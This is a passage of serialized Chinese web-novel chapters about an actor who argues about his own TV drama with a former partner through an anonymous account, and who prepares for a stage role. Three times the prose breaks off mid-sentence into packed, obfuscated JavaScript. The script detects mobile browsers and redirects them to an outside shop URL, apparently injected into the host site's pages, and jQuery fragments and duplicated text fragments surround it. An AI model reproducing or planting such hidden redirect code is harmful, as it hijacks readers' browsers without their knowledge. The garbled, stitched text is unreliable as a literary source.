阿远笑了,叼着勺子问她是不是嘴硬。 “当然不是,怎么会是嘴硬?”程书仪非常讶异。 “因为,”阿远安抚地拍了拍她,“当时你刚知道消息的时候,我看你还挺生气的。” 程书仪努力回忆了一下,好像是真的。 甚至在祁歌来找她那次,他们也吵了一架来着。 但她这个人不喜欢记着什么负面的感受,过去了便不在意了。 “就像,”阿远嘴里塞了一大口饭,一边嚼一边说,“有人说人会被动地忘记自己经历的痛苦,并在日后回想时觉得不值一提。” 痛苦……吗? 程书仪认真回忆了一下,想在记忆里找寻到能和这个词匹配上的感受,但一无所获。 “谁知道呢,”她耸耸肩,“反正现在不值一提了。” 阿远也不知道在想什么,长长叹了口气。 最近在程书仪的大力催促下,阿远也开始看这部剧了。 “你看到了吗,这个男主是不是很气人?!”程书仪问她,“你说这人是不是有毛病?” “姐,”阿远弱弱地答,“我才看了一集……” 一集……好像是还没到槽点。 “那你倒是快看啊。”程书仪吐槽无门,十分着急。 虽然嘴上说着要弃剧,但由于看剧习惯已经养成,也或许是因为这个剧就是莫名其妙地用它的离谱让人欲罢不能,程书仪又往后看了点。 然后忍不住又想吐槽。 她发在网上的帖子经过申诉已经找回来了,但是这剧实在太凉了,连个路人都没有。除了粉丝无意义的辩解外,她没收到任何赞同或理性探讨的声音。 怎么会这样?世界上只有我一个清醒的人在看这个吗? 难道要去对家那边才能获得共鸣吗? 程书仪迅速转变思路,给新的感想打了个陈逸心的tag。 这下倒是有些赞同的声音了,但更多的则是让她不要引战,少来披皮黑什么的。 苍天呐,这些粉丝的思维已经被固化了,思想行动整齐划一,一点个人观点都无法接受和发表。程书仪有点悲哀地想。 她有些丧气地刷了刷首页更新的帖子,看到有段短视频,拍的是学校里几个正在拍摄什么东西的学生。 女孩子的笑脸灿烂又天真,比春天的花朵还要可爱。 程书仪看了两遍,给这个视频点了个赞。 还是看看萌妹让人心情舒畅,她想着,抬头看了眼发帖人。 诶,这不是那个爱辩论的男大嘛。 程书仪不免警惕起来,这个男大的逻辑如此清奇,可不要去祸害这些魅力的花朵啊! 她点开私信栏,把自己最新的帖子转了过去。 她没再发别的话,意思是:我看了,要来辩吗? 她还没来得及关掉对话框,就看到对面状态已经变成了输入中。 好的,来吧。她开始摩拳擦掌。 67. 多说说 “最近天冷,注意保暖。” 屏幕上出现了这样一句话。 程书仪呆住半分钟,拔尖四顾心茫然。 我是不是该骂他? ——虽然他说的是句好话,但我还是很想骂他。 “你……发错了吗?”最后程书仪平静理智文明礼貌地回复。 “我看你IP和我一样,”那人回复过来,“今天真的很冷啊!” 程书仪再次愣了愣。 她出门都是从地库直接上车,再地库坐电梯进办公室。今天没有外出活动,她甚至没什么去到户外的机会。 今天……很冷吗? “早上出门时看到路边的花已经开了,阳光也很好。” 程书仪这样回复道,也说不清为什么要配合这个人聊起了天气。 “今天的太阳是很有欺骗性!”那人很快回复了过来,“但是风很大,体感温度骤降十度。” 嗯嗯嗯对对对,程书仪实在无心闲聊,只想辩论:“我看到三十集了。” “那快到大结局了。”那人说。 “对,”程书仪决定停止兜圈子,“依然觉得男主有毛病。” 对面沉默了一会儿。 不会这人知难而退,打算放弃辩论了吧!程书仪决定珍惜难得的辩友,稍稍进行了一下找补:“不过女主也好不到哪去,我看来看去,只有男配是正常的。” 祁歌看着屏幕陷入气结。 这人是恶魔吗! 才刚聊了几句日常,说话氛围正常了点,一转眼就一句话噎死人。 什么叫只有男配正常?! 他愤怒地敲字回应:“你这人就是不相信世界上会有有缺点的人吗?” “那倒不是,人人都有缺点,但像男女主这样把缺点发挥得淋漓尽致的,我没见过。” 祁歌深呼吸了几次,试图让自己停止手抖。 这个人的账号很显然是个小号,注册了之后只发了几次对这部剧的吐槽。如果不是她真心有理有据地在嫌弃这部剧,祁歌几乎要以为这是谁家的黑粉。 其中陈逸心嫌疑最大。 “那你为什么觉得男配正常?”祁歌另起一行地问道。 “因为他逻辑很清楚。只要是自己想要的,不管怎样都要去争取,并且得到了之后也不内耗,能够愉快地享受它。” “好的momo老师,”祁歌阴阳怪气地喊了她的马甲ID,“没想到你对反派角色的理解这么深入。” “过奖了,”momo回答,“我只是觉得这才是正常人类该有的想法。” 首先,这一点都不正常。祁歌无力地想。 但怎么说呢,momo老师显然也是那种绝不内耗的人。祁歌甚至有点为自己的阴阳怪气感到无力,就像一拳打在了棉花上。 “是这样,”祁歌垂死挣扎地说,“虽然男配这个角色的心理状态特别好理解,但他的动机和思想都是比较简单的。更复杂的人物当然会更难解一点,但是你把人物放在故事里理解,他们也是有合理的内心动线的。” “我看你是学戏剧的,还在上学?”momo友好地发问,接着顺理成章地提出不友好建议,“建议你好好学一学,不要净想着搞这些故弄玄虚的东西,不现实的人物并不尊重观众。” 不是我怎么就不现实了?祁歌简直被气笑:“故弄玄虚?不现实?表现一个你不理解的人物就不现实了吗?” “典型环境中的典型人物,不是你们应该表现的吗?” 祁歌瞬间语塞。 不是,辩论中引用恩格斯的话是犯规的吧一定是吧…… 古有火遁土遁水遁。 今有祁歌上课遁。 他借口要去上课,暂时关掉了这个软件,然后深呼吸了好几次。 要是自己粉丝是这样的人,他估计要被气得少活几年。 最近为了配合公司宣传,保持一下热度,祁歌尽量多地和粉丝互动了一下。 他现在的小助理很是专业,什么话该说,什么话不该说,该以什么频率出现,要回复多少条评论,好像都早有固定好的标准流程,他只需要照着做即可。 最终效果也确实很好,高姐说最近他的……那个词儿怎么说的来着,“粉丝粘合度”很高。 “粉丝粘合度,是说粉丝们很团结?”祁歌开了个玩笑。 高姐根本理都不理他,只狠狠瞪了他一眼:“对了,你最近每天晚上给我发你的日程做什么?” “那不是日程,”祁歌说,“那是工作日报。” “什么玩意儿?” “工作日报,”祁歌简单进行名词解释,“就是当天的工作内容和成果,以及第二天需要解决的问题。与之相应的,还有工作周报,每月小结和年度工作汇报。” 高姐看起来很想抽他:“你能别把写字楼里那股精英味儿带过来吗?怎么的,跟程总和好了?” 祁歌从乐滋滋开玩笑的状态瞬间蔫了下去:“没有。” “那还不赶紧去看剧本!恋爱工作你总得干一个吧?”高姐怒道。 今天祁歌来公司是为了一部剧。 这次不是电视剧,更不是短剧,而是一部舞台剧。 话剧演员有自己的圈子,这种工作很少会找上他们这些影视小演员。但高姐碰巧认识一位话剧界很有建树的业内前辈,一来二去,便推荐了祁歌来试试其中一个角色。 如果通过面试拿到了角色,他需要排练两三个月,然后集中出演五场左右,工作量不算太大,压力却不小。 “唯一的问题是……”高姐难得一件地说了一半又卖关子。 祁歌警惕抬起头。 难道……这部剧也是程书仪投资的?她会不让自己上?还是……祁歌脑子里已经开始胡思乱想。 “陈逸心有可能也会加入这个组。”高姐终于说出了后半句。 祁歌接到的角色是戏里的一位配角,跟他的年龄和气质都适配,戏份也不算太多。而男主角从剧本里看,则会更年轻莽撞一些,倒是也挺适合陈逸心。 如果陈逸心也加入,排练时总要在一起不说,他们俩也很有可能会被匹配到同个场次。 原本祁歌对这种事是不会太在意的。 陈逸心从刚认识开始有点瞄着他竞争的意思,祁歌没当回事过,就算在片场被人暗算揪着领子揍,他也只觉得对方不过小丑行径。演得好不好,观众心中自由分辨。 可是演得好有时候也比不过剪得好,这几天他在后期组学习的心得就是:如果导演想给你迷倒观众的机会,你一定能做到。 “这个地方我们做了这三种效果。”后期老师总会拿出很多方案,让导演来挑选。 “能不能把这个改一下,我想要的是浑然天成的感觉,画面可以脏一点,但是又让人感觉颜色很清透……”导演发表了一通自相矛盾很难理解的需求。 “好的明白了,我们再做一下。”后期老师波澜不惊地答应了下来。 好神奇的沟通模式。祁歌叹为观止。 看来每每在片场给演员们讲戏时,导演已经非常努力把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734070|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话说得直白好懂。 “想什么呢?”高姐出声将祁歌的思绪唤了回来。 “没什么,可以的我没问题。”祁歌说。 “真没问题?” 祁歌歪头想了想:“嗯……要说一点不介意也不可能,但我现在也没到多红的地步,给人当当绿叶也没什么。” 高姐挑起了眉:“我还以为你痛定思痛打算这次把他风头抢了。” “我可以这么干?”祁歌假装心动,星星眼望着她。 “不行,”高姐斩钉截铁,“我们以后和导演还要处的。” 祁歌撇撇嘴,继续读剧本。 “对了,”高姐忽然问,“你助理说你开了个小号,你小号叫什么?” “……干嘛?”祁歌再次警惕地看向她。 高姐翻他白眼:“我不把你号收回,我就监视一下。你现在也算有点名气了,谨言慎行懂不懂?” “我会谨言慎行的,”祁歌保证说,“但是你还是别监视了吧。” 这听起来颇有点此地无银三百两的意思。 高姐因此多看了他几眼:“我不关注行了吧,你告我叫啥。” “叫……防抖功能已关闭。”祁歌眼一闭心一横。 高姐愣了几秒,接着毫无同情地哈哈大笑起来:“好名字!” 由于这次在公司没碰到阿远,祁歌回去后发了消息给她,说这次不巧寻访未见,闲时可否拨冗一起吃个饭。 “哥,古风小生那一套已经过时了。”阿远回道,“我决定和程姐一伙儿,饭就不吃了,毕竟不能同时吃两家饭。” 祁歌连发十一个问号过去。 “父母离婚孩子总要站一边吧!你是过错方诶!” 看到这句话,祁歌忽觉心中一动,仿佛被什么东西后知后觉地揉了一下,令他胃里都绞着痛起来。 父母……吗? 他当然幻想过这个称呼有天会落在他和程书仪身上。 可程书仪……会想过有一个孩子吗? 假如他从一开始就坦诚相待,两人能始终共同面对生活中的一切风雨。 假如他更成熟也更强大,没有瞻前顾后而是坦坦荡荡站在程书仪身边。 这个世界上没有假如,但是他们分开这么久了,这一刻祁歌是第一次如此后悔,以至于愿意以自己的全部所有,换上天赐他一个假如。 电话的那端,阿远还在习惯性念叨着:“我跟你说程姐最近在考虑换个房子,还给我讲了她之前换房子的事……哎说真的程姐魅力也太大了,我们俩就在那儿吃个饭都有人过来搭讪……哥你在听吗?” “我……在。”祁歌答道。 “哥你咋了?”阿远的声音严肃起来,“你在哪?” “我没事。”祁歌说。 几秒之后,他又补充道:“胃痉挛了可能,我在家呢,有药,放心吧。” 他没听到阿远的回复,自顾自起身去拿解痉药。 再回来时阿远居然还没挂断,仍在耐心地等着他。 “……好点了。”祁歌说。 其实胃痛起来多半得捱个一两小时,不过过了最尖锐的那阵,只要不继续受什么刺激,后面的程度多少都能忍。 “哥……”阿远再开口时有些犹豫,“我是不是不该跟你说这些?” “不是!”祁歌连忙说,“和你说的这些没关系!我……” 话到嘴边停滞了半晌,祁歌叹了口气:“其实,现在也只有你还在跟我说这些了。” 你就……多说说吧。 68. 振作点 “我现在是真的觉得有点不值了。” 程书仪望着这条消息愣了一下,给对方回了个问号。 “你说过,你替女主不值。” 她的近期辩友,ID叫“防抖功能已关闭”的这位男大解释道:“你是对的,她根本不该花时间在男主这样的人身上。” 啊?程书仪十分讶异,不懂这位今天的辩论怎么完全不按常理出牌。 仗还没好好打呢,怎么突然就投降了? 不会是什么新的伎俩,在这儿玩什么欲扬先抑先礼后兵吧? 于是程书仪选择谨慎地回复:“怎么说?” 那边半天才回复过来,回的内容看上去好像没什么机锋:“今天复盘了一下他们三人戏的那段,觉得男二这样的人挺适合她。管他什么目的,或者是不是真心,说不准就能幸福呢?世界上也没那么绝对的事。” “你错了,这件事是很绝对的。更适合的对象,客观上就更容易爱上,也更容易付之真心。”程书仪这会儿正在一个参观活动的休息间歇,匆匆打字阐明观点,“客观条件都不具备,再真心也是强求,能有什么好结果。” “好,你说得很对,可能男主就是脑子有问题,死了挺好。”那人说。 “等等,所以结局是男主死了?”程书仪有点惊讶,她还以为这部剧会是个好结局。 祁歌望着屏幕陷入半石化状态。 这人的反应真是令人一拳打在棉花上啊…… 今天他的心情有一点差。 那个综艺录完之后,他一直没有太多新活。 这天是面试日,祁歌早早就去了高姐给他接的那个话剧团,想着有机会可以提前学习准备一下。哪怕最终没被选中出演,也能多点舞台上的经验。 没想到来了之后发现所有人对他态度都有点古怪,总结来说就是客套中带着点虚假,打了招呼之后就问他有什么需求,要拍照片还是视频。 “啊我不是来拍摄的……”祁歌解释说,“打扰大家了,我就是早点来准备准备面试,跟各位老师学习一下。” 对面几位演员老师面面相觑了几秒,没人先发言。 这个角色的面试安排在一小时后开始,虽然他是第一个过来等待的外部演员,但算算时间来得也不算太早。 奈何场面实在太过尴尬,令人度日如年。 这个戏的大部分候选演员应该都是这个剧团的老师,虽然还没确定角色,但祁歌从他们的交流和试读配合里能听得出,对于谁演哪个角色,他们心里都大致有数。 或许是因为自己的电视剧演员身份,让大家对他的到来多少有点成见。祁歌想着,默默走到角落的椅子上坐下,自己顺了会儿词。 这个面试机会来之不易,最近祁歌都有在认真准备。这个剧目虽然没有出过官摄,但是同公司之前做过几个类似题材的作品,祁歌找了录音,反反复复循环播放,直到把每句台词的气口都找到摸清。 影视拍摄中,摄像机镜头可以超近聚焦,细致到演员的每一个眼神每一个微表情都要真实有戏。在话剧舞台上,观众需要的是夸张而有感染力的表演,需要清清楚楚地听懂台词。 这些不同的要求必然导致表演的侧重点不同。 这个角色候选人不太多,等着面试的一共只有不到十个演员。祁歌看得出有个剧团内部的演员应该是早就拿到了本子,还跟着一起合过成,不管是表演准备还是精神状态都非常松弛,想必角色早就十拿九稳。 这些演员祁歌都不熟识,也没主动去打招呼。他这些年没接触过舞台剧,有些名望的演员勉强认得几个,年轻一代的新人则是完全不了解,于是目光对上时,祁歌只是礼貌致意,没有加入他们的聊天。 他是最后一个被叫到的。 进门时祁歌听到导演正在跟其他几个主创介绍自己,说是个不错的演员,最近跟那边公司联系比较紧密,虽然没演过话剧,但推荐来我们戏里试试。 几个人打量祁歌的目光一下子都复杂起来。 祁歌不由深吸了口气。 面试后不管是导演还是其他出品人制作人都没说太多,只说让大家回去等消息即可。 祁歌大概也能想到结果。 碍于公司的面子,剧团多半会让他过去一起排练,再让他配合着稍微演那么几场,借借热度卖卖票,也给他的履历填上这么比较特别的一笔罢了。 这么看来,大概率之后会和陈逸心强绑定。 毕竟舞台剧这个圈子比之影视界相对平和有序,话题度不高。陈逸心和他剧里剧外的明争暗斗不过是宣传的噱头,到时候巴不得粉丝撕得更响些,吸引更多观众注意到这个戏。 说来这也是挺少见的一次,祁歌还没真正去做,就已经预料到这项工作的一切结果。 以往不管是接到龙套角色也好,还是被临时改戏也好,祁歌会想着尽力而为,总有收获。 可是这一次,望着这几乎是确定的结局,他忽然有点不太确定了。 这个实实在在的舞台不似黑洞洞的镜头,即便是再边角的站位,再短暂的聚焦,也客观记录下了演员的状态,有慧眼自然看得到。 这个舞台只面对那有限的几拍坐席,面对那固定数量的几百双眼睛,一次性地将所有悲欢倾情展示之后,便淹没在时间之中。 他在这个台上的表现如何,又有谁会在乎呢…… 如果已经知道结局,过程又是否还值得呢? “等你看完吧。”祁歌敲字给对面辩友回道。 这部剧古代篇的男主确实是死了,但现代戏的结局按照最近流行的讨好观众的方式做了好几种,时而HE时而BE时而OE,大概就是怎么理解都可以。 这也就给了观众们一些探讨空间,比如说究竟哪个结局更合理,或者更喜欢哪一个。 或许是今天不佳的心情作祟,祁歌忽然觉得古代篇那种结局就很好。 如果付出的并不是对方想要的,如果无论如何都没办法圆满……那死就死了,有什么关系。 何必……何必要这么多你来我往的反复论证,反复凌迟,这对双方来说都不值得。 “总之,我今天决定悲观一天了。”他又说。 “怎么了?”momo老师问他。 “没什么……”祁歌敲出这三个字,忽然觉得好像不太好。 最近才经历一轮自省,怎么又开始藏头露尾有话不直说了!坏毛病,说好要改的。 于是祁歌把这三个字删掉,想想对方不过萍水相逢的陌生人,即便听到他吐露这些也不会有什么影响,有什么隐瞒的必要呢?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755086|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但保密协议毕竟是签了,祁歌选择尽量模糊但真实地把事实讲出来:“最近遇到一个觉得还不错的机会,也想为之努力,但今天才发现好像没人看好我,也没人期待我做出什么成绩。” 点击了发送后,他才觉得自己这话说得多少有点幼稚。 要不要找补一下?祁歌犹豫着在对话框里敲:“其实也正常,对吧……” “你能做出成绩吗?”momo问他。 祁歌打字的手顿了一下。 能……吗? 虽然一直在突击准备,也并不是没参加过话剧排练,而且演戏也演了这么多年,但…… 他生病之后,这是第一次将要正经出演一个角色。 或许这些负面情绪的最底层,是他对自己没那么信任。 “努努力的话,应该可以。” 程书仪看着这条回复皱了眉。 大学生现在都这么没有朝气的吗? 她记得自己上学的那会儿,好像每天都天不怕地不怕的,有机会?有条件要上,没条件创造条件也要上,哪有这么纠结的时候。 “年轻人要振作起来啊!”她随手开始支教,“客观去评估一下这件事吧,不确定的话可以问问专业人士。如果能做好,就别管别人怎么想了。” 都是些废话,程书仪想,想必说来也没什么用。 但她还是比较希望自己的辩友能够朝气蓬勃一点,毕竟她现在正打算看一下这部剧到底是个什么结局。 她有种预感,八成看完结局,她还是要怒骂一通,到时候辩友的作用可谓至关重要。 ——除非男主是真的死了。 “你想知道导演的意见?”高姐不解地看着祁歌,“角色不是给你了吗?” “嗯,但我有点没自信。”祁歌说。 高姐瞪大眼看着他:“所以,你想让我去拜托导演……夸夸你?” “哎呀不是,”祁歌一下子被她逗笑了,“我又不是小孩!” 他细细给高姐讲了一下那天的情况,又把momo老师的思路说了出来。 “我想着听听导演的真实想法,不管剧团怎么想,我想要拿下这个角色,站在台上我就得给观众一个交代。” 高姐打量了他一眼:“你好像有点……不一样了。” “是吗,是不是变帅了?”祁歌问。 他获得了白眼一对。 高姐做事向来雷厉风行,当即拿出手机打了电话,还开了免提放在桌上给祁歌听。 祁歌坐在桌子对面,感觉手心里瞬间冒出一层冷汗。 “我明白了,其实我觉得他那天挺紧张的,台词的语气有些不自然,还有就是舞台感不强,有一种找不到机位的感觉……”导演说到这里独自开朗地哈哈笑了两声,“不过演得还是不错的,我觉得他拿得下来。” 高姐收了电话,挑眉看着祁歌:“听到了?满意了?” “嗯,谢谢高姐。”祁歌趴在桌子上,深深吸了口气。 “那还不走,在我这儿撒起娇了?”高姐不再给他眼神,自顾自去敲电脑。 祁歌应了一声,半天才磨磨蹭蹭地起身告别。 他实在是不太好意思跟高姐说,刚才电话里就那么两句话的工夫,自己其实紧张到胃有点痉挛了。 69. 倒霉期 叮咚!恭喜!您的倒霉蛋系统已启动! 下面你将会进入人生中的持续倒霉期,所有的倒霉事都会接踵而来哦。准备好了吗?来看看你能坚持多久吧! “哥,”阿远凶狠地瞪着祁歌,“不好笑。” “……噢。”祁歌停止cos穿越系统,乖乖闭了嘴。 最近要少招惹阿远,他在心里默默记下。 原因无他,实在是阿远最近颇得高姐的真传,表现出了颇为严肃果断雷厉风行的气质。 具体到祁歌身上,就是强行禁止了祁歌的一切活动,要求他这几天连床都不要下,并不予理会他需要如厕的诉求。 “但是我……” “你闭嘴,我给你找了护工,十五分钟内就会到位,在那之前你就躺着。”阿远再一次瞪他。 祁歌叹了一口壮志未酬的气。 人生难料,世事无常。 不管祁歌到底有多少雄心壮志,结果就是舞台剧的排练才刚刚启动,他这边就出了事故。 事故不大,只是摔了一跤。他在康复中心其实没少摔跤,这里的器械基本都有医生看管。由于祁歌最近要排练,只能把康复都排在周末。这个时段病人太多,医生有些顾不过来,大部分时候设备的操作都是病人或家属自己来做。 祁歌一边在脑子里默词一边上器械,没理会旁边的人你来我往的喧哗。没想到活动刚做了一半,那个正在规律运动机器毫无预兆地一个急停。 他人还在惯性地继续运动,顿时只觉得腿脚一绊,整个人就从设备上栽了下去。 事发突然,祁歌摔下去之后都没觉得疼,只满脑袋天旋地转地躺了几秒。 旁边大呼小叫的病人很快引来了医生。看到他的样子,医生也吓了一大跳,还以为是摔伤了脑部,人又傻了。 好在进急诊一番检查之后,判定祁歌只是摔下去时用力不当加姿势扭曲,损伤了韧带,好好休息一阵子就能好。 另外胳膊脱臼这种事已经不能算是一个问题了,医生直接就给接上了。 “医生,我这个胳膊脱过一次,”祁歌疼得泪汪汪地讲述病史,“那次是接上之后没多久又脱了,重新在医院接的还做了固定。” “哦那我也给你固定一下。”医生当机立断地去拿固定绷带。 “哎不是……”祁歌再想阻止已来不及,只得被迫当一只木乃伊了。 后来医生和护士去调查了一下,他摔下来是因为旁边的大妈听到自己看顾的病人用的设备到时报警,便打算帮忙关掉,没想到错按了祁歌的按钮。 当时祁歌脑内背词过于专注,完全没留意到,于是毫无防备地当场被放倒。 高姐这几天出差不在,阿远得到消息后赶来病房,一看到祁歌就呆住了。 “哎哎哎我没事只是包得多了点,”祁歌赶紧举起完好的一只手和一条腿示意。 阿远二话不说大步走到床前,先给他脑袋来了一下子。 “你就不能消停一阵子?怎么折腾自己上瘾啊?” 祁歌捂着脑袋申诉,这次这事儿真不怪他,那大妈来道了两次歉,还把他住院费都交了,祁歌便也没再说什么。 阿远还是有点怀疑:“这次真不是你自己作死?” “天地良心!”祁歌差一点要指天发誓。 “但是你这时候受伤,别的还好说,”阿远叹了口气,低头从手机里调他的行程单,“我查查你日程啊……那个舞台剧得先给你推了吧?” “那不行!”祁歌立马坐起,哎呦一声又躺了回去。 “你这个样子怎么排练?”阿远低着头来来回回在手机屏幕上翻了几下,表情陷入疑惑。 “不用翻了,”祁歌老神在在,“最近我都没有公开行程,你那儿也没排期啊。” “没排期?”阿远瞪着一双圆目,“那你每天做什么?你助理又做什么?” “我助理?最近放假啊。”祁歌摸出手机点了几下,给阿远发了个东西。 阿远嘟囔着什么东西打开了文件,发现这是个超长文档,字数有几千字之多。 “你给我发的啥?” “你不是问我每天做什么吗?”祁歌表情无辜,“喏,工作日报。” 阿远气得又要揍他:“我看这个干什么!” “那给我看看你的呗。”祁歌对她笑,“最近都忙什么呢?讲讲呗。” 阿远愣了一下。 她最近忙着的事可太多了,一会儿去现场跟艺人的活动,一会儿去跟品牌谈商务接洽,一会儿出差去片场盯戏,一会儿又半夜写宣传稿。 “大概就是……”她总结了一下,“在学着干经纪人的活。” “嗯我听高姐说了,说你现在在执行经纪的岗位做得很好,”祁歌点点头,“你要不要专门带个艺人试试?” “我不太确定……”阿远难免犹豫了一下。高姐也跟她提过这个,只不过她还不确定能不能拿下。 她倒不是怕工作做得不好影响自己在公司的发展,她不太敢带艺人……是怕影响了人家发展。 “……你觉得怎么样?”祁歌问道。 “啊,你说什么?”阿远将跑远的思绪收拢回来,“我没听到。” “就当你答应了。”祁歌露出标准的狐狸笑。 “我没有!”阿远立刻反对。 祁歌也不再逗她:“好了好了,是说让你要不带我试试呢?你看,我现在连个行程都没有,暂时还是比较轻松的。” 阿远眨了眨眼:“你这是……把自己送我练手?” 祁歌郑重点头。 “我看行,”刚出差回来的高姐手下飞快,正一张张补签字,“祁歌工作室成立之后也没干几天活,就这么放着也没意义,你正好去搞搞宣传提提热度,等那个电影上映之后还要组织点活动什么的。” “那我……真能拿他练手?”阿远再次确认道。 高姐笑出了声:“怎么,嫌他太糊了?我给你换个流量高的?” “那倒不用,”阿远阻止道,“姐,你觉得公司对祁哥后续的规划……算是看好他的前景吗?” 似乎是挺奇怪她会问这个,高姐抬头多看了她一眼:“公司当然是认为会有前景才会帮他成立工作室,前段时间也给了点宣传热度。不过老板是想押个宝,看看他那部电影的反馈如何。” “哦,那电影进度方面我也去盯着点,和片方积极配合起来。”阿远立刻找到这项工作的核心要点,赢得了高姐的大拇指。 “啊对了,电影剪辑的进度你可以直接问祁歌。”高姐补充说,“他最近亲自盯着呢。” “啊对了,看完最后一集你可以直接看结局2。” “?啥意思?”程书仪望着这条消息发出两个问号。 “感觉你会喜欢这个版本的结局。”防抖兄这样断言道。 程书仪顿时有点不服:“我自己也要全都看过,才能知道喜欢哪个啊。” “我看你那么恨男主……”防抖兄自以为是地说,“算了我还是别剧透了,总之你看了之后会同意我的。” “能不能不要自说自话?”程书仪质问道,“我是觉得男主不可理喻,但你说的那个结局是男主死了的版本,对吧?我有说过希望他死吗?在你心里我这么恶毒?” “我不是那个意思,”那边停顿了一会儿,“所以你不恨男主?” “为什么要恨?只是不喜欢这种人而已。” “那我有一点不太懂了,”对面也对她发来疑问,“如果只是不喜欢,也不至于到了要专门上网骂的地步吧……” 程书仪一时有点语塞。 她又不能告诉对面因为演男主这个人他认识,还去现场看拍摄了,因此多少有点好奇……然后就被这点好奇害了。 “还不是因为这剧太凉了,”她找了能说的部分说,“我找不到人聊,上网发泄几句而已。不是你自己找上来跟我辩论吗?” 祁歌当然也不能告诉对面自己就是演男主的那个人:“但我初衷不是想跟你辩论,我就是有些奇怪,对你来说,理解一下男主为什么那么难?” “那现在呢?”momo问,“还是觉得我是恶毒观众代表呗?” 祁歌认真想了想,在两个人讨论的过程中,虽然这位momo老师一直对男主多有微词,但也都在个人想法的层面,似乎自己也不该这样揣度她。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765338|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不好意思啊,”他解释了一句,“我可能思维惯性,把你当黑粉了,抱歉啊。” “你一个男大还混粉圈啊?” “我不是我没有,”祁歌赶快撇清,“就是看见过不少。” “你如果不是粉,怎么可能看得到黑粉?”momo尖锐指出,“粉个男明星就粉呗,不丢人。” 祁歌看着这句话想了半天,最后问出口的是:“他算什么男明星啊……” momo迅速接受了这个质疑:“有道理,也不算明星,就小演员吧……那现在粉网红的人也不少啊,就算是榜一大哥也不丢人。” “那多少还是有点丢人的。”祁歌无语。 “为自己想要的情绪价值付费,有什么丢人?” 祁歌摇摇头:“情绪价值哪里值得那么多啊,都是骗钱的吧。” “不能这么说,你觉得不值,说明你不需要它。对需要的人来说,那些付出是值得的。” 又开始了。祁歌开始怀疑这人是不是辩论爱好者,怎么每件事都和自己意见不一样。 ——不对,是和一般人认知的观点不一样。 “momo老师,”他问道,“你是不是那种富二代什么的?” “啊?” “我以为一般都是榜一大哥最懂榜一大哥,”祁歌说,“你刚才也说了,粉丝最懂粉丝。” “好,你是粉丝,我是榜一大哥,我们虽然都在追星,但赛道不同,注定不是同路人。”momo总结道。 “等等,”祁歌发了个恐惧的表情,“那我们每天这么聊……猜猜我们俩谁会同化对方?” momo发了一串哈哈:“拭目以待!” 祁歌:弱小无助.jpg 在病床上躺了两天后,祁歌被获准出院。 公司给他的护工请了一周的,便跟着他到家里继续照顾。 除了暂时没办法走路要尽量坐轮椅,祁歌的其他日常倒也没受太大影响。 “其实我没那么严重,”他跃跃欲试地想去排练,“我就去合合词儿,保证全程轮椅。” “我觉得不行,”阿远反对道,“你在家先把前期准备做了吧,你一个配角,这个样子去排练不是给人添麻烦吗?” “哦,好像也是。”祁歌乖乖应下,接着再次跃跃欲试,“那我去上课总行吧?” “你那个课不就是随便听听吗?”阿远觉得不可思议,“这么好学生?” “怎么叫随便听听,我是要拿学位证的!最近耽误好几节课了,课程作业写不完了我绩点怎么办……” “哎停停停,上课更不行了……下周护工到期,我让你助理跟着你。”阿远实在听到这些关于学校的事就头疼,“下周我会给你约康复医生过去评估一下你的状态,能不能出门到时候再说。” 她的安排合理又简洁,说完就挂了电话。 你别说,孩子成长得真快啊…… 祁歌只好靠回椅背,再一次为无法参加舞台剧的排练而惴惴不安。 他才刚刚跟高姐立下军令状,说无论如何一定会把这个戏演好,转头就出了这档子事,怕是回去之后跟不上进度……压力好大啊。 “怎么不回消息了?”程书仪奇怪地问。 她的辩友这两天格外消停,既没有回复她关于情节bug的询问,也没有就她对男主男配的对比拉踩作出任何反驳。 一般就算是忙,防抖兄回消息也不会晚于一天的时间。 难道是学校最近有考试什么的? 还是他之前说的那件很重视的事情到了关键的节点? 令人好奇。 “负伤了。”这次倒回得倒挺快,还附加了一个哭脸。 程书仪想问他咋回事,还没打出字来,对面已经又发来消息:“咋办啊,我一堆事要做,考试前能不能交上作业啊……” “现在学校里课程这么严格吗?” “可不嘛!想要个高绩点可难了!” “你毕业以后会做什么工作?”程书仪问道。 那边不知道怎么了,反复正在输入了半天。 “可能直接失业吧……”最后他丧丧地说。 70. 不了吧 “……怎么总觉得你这个人这么悲观呢?”程书仪感叹道。 对此防抖兄并不认同:“没吧,其实我还算乐观的,只是运气不好,老倒霉蛋了。” “运气?运气又不是命运。”程书仪对此不以为然。 “人有时候会因为运气不好错失良机嘛。” “那只说明实力不足。” “momo老师,”防抖兄问道,“我想知道,你在职场是不是那种天纵奇才,平步青云的人?” “我又怎么了我?”程书仪觉得好笑,怎么在防抖兄眼里,她又成了不识人间疾苦的人吗? 